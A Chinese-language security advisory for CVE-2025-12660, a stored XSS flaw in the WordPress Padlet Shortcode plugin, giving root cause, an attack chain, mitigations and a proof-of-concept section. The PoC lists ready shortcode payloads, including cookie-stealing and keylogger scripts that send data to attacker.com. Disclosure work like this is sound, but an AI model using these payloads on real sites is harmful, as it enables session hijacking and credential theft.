IPBUF安全漏洞报告
English
CVE-2025-12660 CVSS 6.4 中危

CVE-2025-12660 WordPress Padlet Shortcode插件存储型XSS漏洞

披露日期: 2025-11-21

漏洞信息

漏洞编号
CVE-2025-12660
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Padlet Shortcode plugin (wallwisher-shortcode) for WordPress

相关标签

CVE-2025-12660Stored XSS跨站脚本WordPress插件漏洞wallwisher-shortcodePadlet ShortcodeWordPress安全认证用户攻击短代码漏洞

漏洞概述

CVE-2025-12660是WordPress平台Padlet Shortcode插件(也称为wallwisher-shortcode)中的一个存储型跨站脚本(Stored XSS)安全漏洞。该漏洞存在于1.3及以下所有版本中,攻击者可以通过利用'wallwisher'短代码的'key'参数来注入恶意JavaScript代码。由于插件在处理用户提供的属性时缺乏足够的输入清理和输出转义,恶意脚本会被永久存储在数据库中。当其他用户访问包含恶意代码的页面时,注入的脚本会在其浏览器上下文中执行,可能导致会话劫持、凭据窃取、恶意重定向或其他客户端攻击。漏洞需要攻击者具备至少contributor级别权限,这降低了攻击门槛但仍对多用户WordPress站点构成严重威胁。

技术细节

该漏洞的根本原因在于WordPress短代码处理机制中对用户输入的验证和转义不足。具体而言,wallwisher.php文件第22行附近的代码在处理'key'参数时,直接将用户提供的值插入到HTML输出中,而没有进行适当的HTML实体转义或输入验证。攻击者可以通过在短代码中插入恶意JavaScript代码,如<img src=x onerror=alert(document.cookie)>,来实现XSS攻击。由于存储型XSS的特性,恶意代码会永久保存在数据库中,所有访问该页面的用户都会执行注入的脚本。CVSS 3.1评分6.4(AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N)表明该漏洞可通过网络利用,复杂度低,需要低权限用户交互,Confidentiality和Integrity影响为低。修复需要在输出点使用esc_html()或esc_attr()函数对用户输入进行转义。

攻击链分析

STEP 1
步骤1:侦察和信息收集
攻击者识别目标WordPress网站并确认安装了wallwisher-shortcode插件(版本<=1.3)。通过查看页面源代码或使用Wappalyzer等工具可以识别插件。
STEP 2
步骤2:获取初始访问权限
攻击者获取WordPress账户,需要至少Contributor角色权限。可以通过凭据填充、社会工程学攻击获取的账户、或利用其他漏洞获取账户访问权。
STEP 3
步骤3:注入恶意脚本
攻击者在页面或文章编辑界面中插入带有恶意payload的wallwisher短代码,如[wallwisher key="<img src=x onerror=alert(document.cookie)>"],然后发布或更新内容。
STEP 4
步骤4:脚本持久化
恶意代码被存储在WordPress数据库中,作为文章/页面的内容或元数据保存。由于是存储型XSS,代码会在数据库中持久存在。
STEP 5
步骤5:触发执行
当其他用户(管理员、编辑、其他贡献者或访客)访问包含恶意短代码的页面时,浏览器会解析并执行注入的JavaScript代码。
STEP 6
步骤6:恶意活动执行
根据payload不同,攻击者可以窃取会话cookie、劫持用户会话、修改页面内容、重定向用户到钓鱼站点或执行其他客户端攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-12660 PoC: Stored XSS via wallwisher shortcode 'key' parameter --> <!-- Authenticated Contributor+ role required --> <!-- Basic XSS payload --> [wallwisher key="<img src=x onerror=alert(document.cookie)>"] <!-- Cookie stealing payload --> [wallwisher key="<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>"] <!-- Keylogger payload --> [wallwisher key="<script>document.addEventListener('keypress',function(e){fetch('https://attacker.com/log?k='+e.key)})</script>"] <!-- Bypass basic filters - using various encoding --> [wallwisher key="<svg onload=alert(String.fromCharCode(88,83,83))>"] <!-- Real-world attack scenario --> [wallwisher key="<script>var i=new Image;i.src='https://attacker.com/cookie?c='+document.cookie;</script>"]

影响范围

wallwisher-shortcode (Padlet Shortcode) <= 1.3

防御指南

临时缓解措施
立即采取以下措施:1) 如果有更新版本,尽快升级wallwisher-shortcode插件;2) 如果无法立即更新,可以暂时禁用该插件或移除wallwisher短代码的使用;3) 审查所有包含wallwisher短代码的文章和页面,移除恶意内容;4) 检查用户账户活动日志,确认是否有可疑的账户被入侵;5) 考虑使用WAF规则阻止针对该漏洞的利用尝试;6) 通知可能受影响的管理员和用户。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表